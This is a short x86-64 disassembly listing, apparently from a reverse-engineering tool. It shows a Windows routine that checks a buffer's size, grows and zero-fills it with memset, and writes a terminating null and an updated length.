add r13, r15
sub r13, rsi
jbe 0x1400d55c9
mov rax, qword [rbp - 8]
lea rcx, [rax + 0x180]
mov rax, qword [rcx]
sub rax, rsi
cmp rax, r13
jae 0x1400d55cf
mov rdx, rsi
mov r8, r13
call fcn.140244560
mov rax, qword [rbp - 8]
mov rsi, qword [rax + 0x190]
jmp 0x1400d55d3
movabs rbx, 0x8009031700000002
jmp 0x1400d57c1
mov rbx, qword [rbp - 8]
jmp 0x1400d560c
mov rax, qword [rbp - 8]
mov rbx, qword [rax + 0x188]
lea rcx, [rbx + rsi]
cmp r13, 2
jb 0x1400d55fb
lea r8, [r13 - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add rsi, r13
dec rsi
add rbx, rsi
mov rcx, rbx
mov byte [rcx], 0
inc rsi
mov rbx, qword [rbp - 8]
mov qword [rbx + 0x190], rsi
cmp r15, rsi